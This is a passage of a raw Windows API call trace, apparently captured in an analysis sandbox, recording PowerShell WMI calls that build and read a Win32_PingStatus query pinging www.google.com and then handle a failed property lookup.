ppObject=0x59ee7e4*=0x4f4ad10, ppCallResult=0x0) returned 0x0 [0127.066] WbemLocator:IUnknown:Release (This=0x4f43a50) returned 0x0 [0127.068] IWbemClassObject:Get (in: This=0x4f4ad10, wszName="__PATH", lFlags=0, pVal=0x59ee7cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x59ee874*=0, plFlavor=0x59ee870*=0 | out: pVal=0x59ee7cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_PingStatus", varVal2=0x0), pType=0x59ee874*=8, plFlavor=0x59ee870*=64) returned 0x0 [0127.068] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_PingStatus") returned 0x50 [0127.068] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_PingStatus") returned 0x50 [0127.068] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x4f4 [0127.068] SetEvent (hEvent=0x3f0) returned 1 [0127.068] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x59ee788*=0x4f4, lpdwindex=0x59ee5ac | out: lpdwindex=0x59ee5ac) returned 0x0 [0127.074] CoGetContextToken (in: pToken=0x59ee65c | out: pToken=0x59ee65c) returned 0x0 [0127.074] CoGetContextToken (in: pToken=0x59ee5bc | out: pToken=0x59ee5bc) returned 0x0 [0127.075] WbemDefPath:IUnknown:QueryInterface (in: This=0x4da900, riid=0x59ee68c*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x59ee688 | out: ppvObject=0x59ee688*=0x4da900) returned 0x0 [0127.075] WbemDefPath:IUnknown:AddRef (This=0x4da900) returned 0x3 [0127.075] WbemDefPath:IUnknown:Release (This=0x4da900) returned 0x2 [0127.075] WbemDefPath:IWbemPath:SetText (This=0x4da900, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_PingStatus") returned 0x0 [0127.075] IWbemClassObject:Get (in: This=0x4f4ad10, wszName="__SERVER", lFlags=0, pVal=0x59ee80c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x59ee890*=0, plFlavor=0x59ee88c*=0 | out: pVal=0x59ee80c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x59ee890*=8, plFlavor=0x59ee88c*=64) returned 0x0 [0127.075] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0127.075] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0127.075] IWbemClassObject:Get (in: This=0x4f4ad10, wszName="__NAMESPACE", lFlags=0, pVal=0x59ee80c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x59ee890*=8, plFlavor=0x59ee88c*=64 | out: pVal=0x59ee80c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\cimv2", varVal2=0x0), pType=0x59ee890*=8, plFlavor=0x59ee88c*=64) returned 0x0 [0127.075] SysStringByteLen (bstr="ROOT\\cimv2") returned 0x14 [0127.075] SysStringByteLen (bstr="ROOT\\cimv2") returned 0x14 [0127.075] IWbemClassObject:Get (in: This=0x4f4ad10, wszName="__CLASS", lFlags=0, pVal=0x59ee80c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x59ee890*=8, plFlavor=0x59ee88c*=64 | out: pVal=0x59ee80c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x59ee890*=8, plFlavor=0x59ee88c*=64) returned 0x0 [0127.075] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0127.075] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0127.075] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x4f8 [0127.075] SetEvent (hEvent=0x3f0) returned 1 [0127.076] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x59ee768*=0x4f8, lpdwindex=0x59ee58c | out: lpdwindex=0x59ee58c) returned 0x0 [0127.081] CoGetContextToken (in: pToken=0x59ee63c | out: pToken=0x59ee63c) returned 0x0 [0127.081] CoGetContextToken (in: pToken=0x59ee59c | out: pToken=0x59ee59c) returned 0x0 [0127.081] WbemDefPath:IUnknown:QueryInterface (in: This=0x4da9e0, riid=0x59ee66c*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x59ee668 | out: ppvObject=0x59ee668*=0x4da9e0) returned 0x0 [0127.081] WbemDefPath:IUnknown:AddRef (This=0x4da9e0) returned 0x3 [0127.081] WbemDefPath:IUnknown:Release (This=0x4da9e0) returned 0x2 [0127.081] WbemDefPath:IWbemPath:SetText (This=0x4da9e0, uMode=0x4, pszPath="") returned 0x0 [0127.081] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x4fc [0127.081] SetEvent (hEvent=0x3f0) returned 1 [0127.081] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x59ee768*=0x4fc, lpdwindex=0x59ee58c | out: lpdwindex=0x59ee58c) returned 0x0 [0127.087] CoGetContextToken (in: pToken=0x59ee63c | out: pToken=0x59ee63c) returned 0x0 [0127.087] CoGetContextToken (in: pToken=0x59ee59c | out: pToken=0x59ee59c) returned 0x0 [0127.087] WbemDefPath:IUnknown:QueryInterface (in: This=0x4daa50, riid=0x59ee66c*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x59ee668 | out: ppvObject=0x59ee668*=0x4daa50) returned 0x0 [0127.087] WbemDefPath:IUnknown:AddRef (This=0x4daa50) returned 0x3 [0127.087] WbemDefPath:IUnknown:Release (This=0x4daa50) returned 0x2 [0127.087] WbemDefPath:IWbemPath:SetText (This=0x4daa50, uMode=0x4, pszPath="") returned 0x0 [0127.087] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4daa50, puCount=0x59ee80c | out: puCount=0x59ee80c*=0x0) returned 0x0 [0127.087] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da9e0, puCount=0x59ee80c | out: puCount=0x59ee80c*=0x0) returned 0x0 [0127.087] WbemDefPath:IWbemPath:GetClassName (in: This=0x4daa50, puBuffLength=0x59ee864*=0x0, pszName=0x0 | out: puBuffLength=0x59ee864*=0x0, pszName=0x0) returned 0x8004103a [0127.087] WbemDefPath:IWbemPath:GetServer (in: This=0x4daa50, puNameBufLength=0x59ee860*=0x0, pName=0x0 | out: puNameBufLength=0x59ee860*=0x0, pName=0x0) returned 0x80041009 [0127.087] WbemDefPath:IWbemPath:SetServer (This=0x4daa50, Name="Q9IATRKPRH") returned 0x0 [0127.087] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x500 [0127.087] SetEvent (hEvent=0x3f0) returned 1 [0127.087] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x59ee768*=0x500, lpdwindex=0x59ee58c | out: lpdwindex=0x59ee58c) returned 0x0 [0127.094] CoGetContextToken (in: pToken=0x59ee63c | out: pToken=0x59ee63c) returned 0x0 [0127.094] CoGetContextToken (in: pToken=0x59ee59c | out: pToken=0x59ee59c) returned 0x0 [0127.094] WbemDefPath:IUnknown:QueryInterface (in: This=0x4daac0, riid=0x59ee66c*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x59ee668 | out: ppvObject=0x59ee668*=0x4daac0) returned 0x0 [0127.094] WbemDefPath:IUnknown:AddRef (This=0x4daac0) returned 0x3 [0127.094] WbemDefPath:IUnknown:Release (This=0x4daac0) returned 0x2 [0127.094] WbemDefPath:IWbemPath:SetText (This=0x4daac0, uMode=0x4, pszPath="ROOT\\cimv2") returned 0x0 [0127.094] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4daa50, puCount=0x59ee80c | out: puCount=0x59ee80c*=0x0) returned 0x0 [0127.094] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4daac0, puCount=0x59ee80c | out: puCount=0x59ee80c*=0x2) returned 0x0 [0127.094] WbemDefPath:IWbemPath:GetText (in: This=0x4daac0, lFlags=16, puBuffLength=0x59ee808*=0x0, pszText=0x0 | out: puBuffLength=0x59ee808*=0xb, pszText=0x0) returned 0x0 [0127.094] WbemDefPath:IWbemPath:GetText (in: This=0x4daac0, lFlags=16, puBuffLength=0x59ee808*=0xb, pszText="0000000000" | out: puBuffLength=0x59ee808*=0xb, pszText="ROOT\\cimv2") returned 0x0 [0127.094] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x4daa50) returned 0x0 [0127.094] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4daac0, puCount=0x59ee844 | out: puCount=0x59ee844*=0x2) returned 0x0 [0127.094] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x4daac0, uIndex=0x0, puNameBufLength=0x59ee840*=0x0, pName=0x0 | out: puNameBufLength=0x59ee840*=0x5, pName=0x0) returned 0x0 [0127.094] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x4daac0, uIndex=0x0, puNameBufLength=0x59ee840*=0x5, pName="0000" | out: puNameBufLength=0x59ee840*=0x5, pName="ROOT") returned 0x0 [0127.094] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x4daa50, uIndex=0x0, pszName="ROOT") returned 0x0 [0127.094] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x4daac0, uIndex=0x1, puNameBufLength=0x59ee840*=0x0, pName=0x0 | out: puNameBufLength=0x59ee840*=0x6, pName=0x0) returned 0x0 [0127.094] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x4daac0, uIndex=0x1, puNameBufLength=0x59ee840*=0x6, pName="00000" | out: puNameBufLength=0x59ee840*=0x6, pName="cimv2") returned 0x0 [0127.094] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x4daa50, uIndex=0x1, pszName="cimv2") returned 0x0 [0127.094] WbemDefPath:IWbemPath:GetClassName (in: This=0x4daa50, puBuffLength=0x59ee864*=0x0, pszName=0x0 | out: puBuffLength=0x59ee864*=0x0, pszName=0x0) returned 0x8004103a [0127.094] WbemDefPath:IWbemPath:SetClassName (This=0x4daa50, Name="Win32_PingStatus") returned 0x0 [0127.094] IWbemClassObject:BeginMethodEnumeration (This=0x4f4ad10, lEnumFlags=0) returned 0x0 [0127.095] IWbemClassObject:NextMethod (in: This=0x4f4ad10, lFlags=0, pstrName=0x59ee81c*=0x0, ppInSignature=0x59ee864*=0x0, ppOutSignature=0x59ee860*=0x0 | out: pstrName=0x59ee81c*=0x0, ppInSignature=0x59ee864*=0x0, ppOutSignature=0x59ee860*=0x0) returned 0x40005 [0127.098] IWbemClassObject:EndMethodEnumeration (This=0x4f4ad10) returned 0x0 [0127.397] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x59ee260, nSize=0x80 | out: lpBuffer="") returned 0x0 [0127.398] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x59ee260, nSize=0x80 | out: lpBuffer="") returned 0x0 [0127.399] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x59ee1d8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0127.404] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee9a0 | out: puCount=0x59ee9a0*=0x2) returned 0x0 [0127.404] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee99c*=0x0, pszText=0x0 | out: puBuffLength=0x59ee99c*=0xf, pszText=0x0) returned 0x0 [0127.404] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee99c*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee99c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0127.404] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee9a0 | out: puCount=0x59ee9a0*=0x2) returned 0x0 [0127.404] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee99c*=0x0, pszText=0x0 | out: puBuffLength=0x59ee99c*=0xf, pszText=0x0) returned 0x0 [0127.404] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee99c*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee99c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0127.404] IWbemClassObject:GetNames (in: This=0x4f387a8, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x59ee9a8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x59ee99c | out: pNames=0x59ee99c*="\x01ƀ\x04") returned 0x0 [0127.404] SafeArrayGetDim (psa=0x4f3e2d0) returned 0x1 [0127.404] SafeArrayGetDim (psa=0x4f3e2d0) returned 0x1 [0127.404] SafeArrayGetLBound (in: psa=0x4f3e2d0, nDim=0x1, plLbound=0x59ee834 | out: plLbound=0x59ee834) returned 0x0 [0127.405] SysStringByteLen (bstr="__GENUS") returned 0xe [0127.405] SysStringByteLen (bstr="__GENUS") returned 0xe [0127.405] SysStringByteLen (bstr="__CLASS") returned 0xe [0127.405] SysStringByteLen (bstr="__CLASS") returned 0xe [0127.405] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0127.405] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0127.405] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0127.405] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0127.405] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0127.405] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0127.405] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0127.405] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0127.405] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0127.405] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0127.405] SysStringByteLen (bstr="__SERVER") returned 0x10 [0127.405] SysStringByteLen (bstr="__SERVER") returned 0x10 [0127.405] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0127.405] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0127.405] SysStringByteLen (bstr="__PATH") returned 0xc [0127.405] SysStringByteLen (bstr="__PATH") returned 0xc [0127.406] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__GENUS", lFlags=0, pVal=0x59ee998*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x23448d4*=0, plFlavor=0x23448d8*=0 | out: pVal=0x59ee998*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x23448d4*=3, plFlavor=0x23448d8*=64) returned 0x0 [0127.406] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__CLASS", lFlags=0, pVal=0x59ee998*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2344908*=0, plFlavor=0x234490c*=0 | out: pVal=0x59ee998*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2344908*=8, plFlavor=0x234490c*=64) returned 0x0 [0127.406] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0127.406] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0127.406] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__SUPERCLASS", lFlags=0, pVal=0x59ee998*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2344960*=0, plFlavor=0x2344964*=0 | out: pVal=0x59ee998*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2344960*=8, plFlavor=0x2344964*=64) returned 0x0 [0127.406] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__DYNASTY", lFlags=0, pVal=0x59ee998*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2344988*=0, plFlavor=0x234498c*=0 | out: pVal=0x59ee998*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2344988*=8, plFlavor=0x234498c*=64) returned 0x0 [0127.406] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0127.406] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0127.406] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__RELPATH", lFlags=0, pVal=0x59ee998*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x23449e0*=0, plFlavor=0x23449e4*=0 | out: pVal=0x59ee998*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x23449e0*=8, plFlavor=0x23449e4*=64) returned 0x0 [0127.406] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a4 [0127.406] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a4 [0127.406] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x59ee998*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2344bbc*=0, plFlavor=0x2344bc0*=0 | out: pVal=0x59ee998*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x2344bbc*=3, plFlavor=0x2344bc0*=64) returned 0x0 [0127.407] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__DERIVATION", lFlags=0, pVal=0x59ee998*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2344bf0*=0, plFlavor=0x2344bf4*=0 | out: pVal=0x59ee998*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x4f3e360*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x4f4afb0, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x2344bf0*=8200, plFlavor=0x2344bf4*=64) returned 0x0 [0127.407] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__SERVER", lFlags=0, pVal=0x59ee998*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2344c24*=0, plFlavor=0x2344c28*=0 | out: pVal=0x59ee998*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x2344c24*=8, plFlavor=0x2344c28*=64) returned 0x0 [0127.407] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0127.407] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0127.407] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__NAMESPACE", lFlags=0, pVal=0x59ee998*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2344c70*=0, plFlavor=0x2344c74*=0 | out: pVal=0x59ee998*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x2344c70*=8, plFlavor=0x2344c74*=64) returned 0x0 [0127.407] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0127.407] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0127.407] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__PATH", lFlags=0, pVal=0x59ee998*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2344cbc*=0, plFlavor=0x2344cc0*=0 | out: pVal=0x59ee998*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x2344cbc*=8, plFlavor=0x2344cc0*=64) returned 0x0 [0127.407] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d4 [0127.407] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d4 [0127.407] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee9dc | out: puCount=0x59ee9dc*=0x2) returned 0x0 [0127.407] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee9d8*=0x0, pszText=0x0 | out: puBuffLength=0x59ee9d8*=0xf, pszText=0x0) returned 0x0 [0127.407] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee9d8*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee9d8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0127.407] IWbemClassObject:Get (in: This=0x4f387a8, wszName="PSShowComputerName", lFlags=0, pVal=0x59ee9d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2344ef4*=0, plFlavor=0x2344ef8*=0 | out: pVal=0x59ee9d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2344ef4*=0, plFlavor=0x2344ef8*=0) returned 0x80041002 [0127.408] GetErrorInfo (in: dwReserved=0x0, pperrinfo=0x59ee9bc | out: pperrinfo=0x59ee9bc*=0x0) returned 0x1 [0127.408] IIDFromString (in: lpsz="{EB87E1BD-3233-11D2-AEC9-00C04FB68820}", lpiid=0x59ee904 | out: lpiid=0x59ee904) returned 0x0 [0127.409] CoGetClassObject (in: rclsid=0x4f3e35c*(Data1=0xeb87e1bd, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x59ee620 | out: ppv=0x59ee620*=0x4f4afb0) returned 0x0 [0127.410] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f4afb0, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x59ee838 | out: ppvObject=0x59ee838*=0x0) returned 0x80004002 [0127.411] WbemStatusCodeText:IClassFactory:CreateInstance (in: This=0x4f4afb0, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59ee844 | out: ppvObject=0x59ee844*=0x4f4afc0) returned 0x0 [0127.411] WbemStatusCodeText:IUnknown:Release (This=0x4f4afb0) returned 0x0 [0127.411] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f4afc0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59ee464 | out: ppvObject=0x59ee464*=0x4f4afc0) returned 0x0 [0127.411] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f4afc0, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x59ee418 | out: ppvObject=0x59ee418*=0x0) returned 0x80004002 [0127.411] WbemStatusCodeText:IUnknown:AddRef (This=0x4f4afc0) returned 0x3 [0127.411] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f4afc0, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x59edd74 | out: ppvObject=0x59edd74*=0x0) returned 0x80004002 [0127.411] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f4afc0, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x59edd24 | out: ppvObject=0x59edd24*=0x0) returned 0x80004002 [0127.411] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f4afc0, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59edd30 | out: ppvObject=0x59edd30*=0x0) returned 0x80004002 [0127.411] CoGetContextToken (in: pToken=0x59edd90 | out: pToken=0x59edd90) returned 0x0 [0127.411] CoGetContextToken (in: pToken=0x59ee1a4 | out: pToken=0x59ee1a4) returned 0x0 [0127.411] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f4afc0, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59ee224 | out: ppvObject=0x59ee224*=0x0) returned 0x80004002 [0127.411] WbemStatusCodeText:IUnknown:Release (This=0x4f4afc0) returned 0x2 [0127.411] WbemStatusCodeText:IUnknown:Release (This=0x4f4afc0) returned 0x1 [0127.411] CoGetContextToken (in: pToken=0x59ee81c | out: pToken=0x59ee81c) returned 0x0 [0127.411] CoGetContextToken (in: pToken=0x59ee77c | out: pToken=0x59ee77c) returned 0x0 [0127.412] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f4afc0, riid=0x59ee84c*(Data1=0xeb87e1bc, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), ppvObject=0x59ee848 | out: ppvObject=0x59ee848*=0x4f4afc0) returned 0x0 [0127.412] WbemStatusCodeText:IUnknown:AddRef (This=0x4f4afc0) returned 0x3 [0127.412] WbemStatusCodeText:IUnknown:Release (This=0x4f4afc0) returned 0x2 [0127.412] 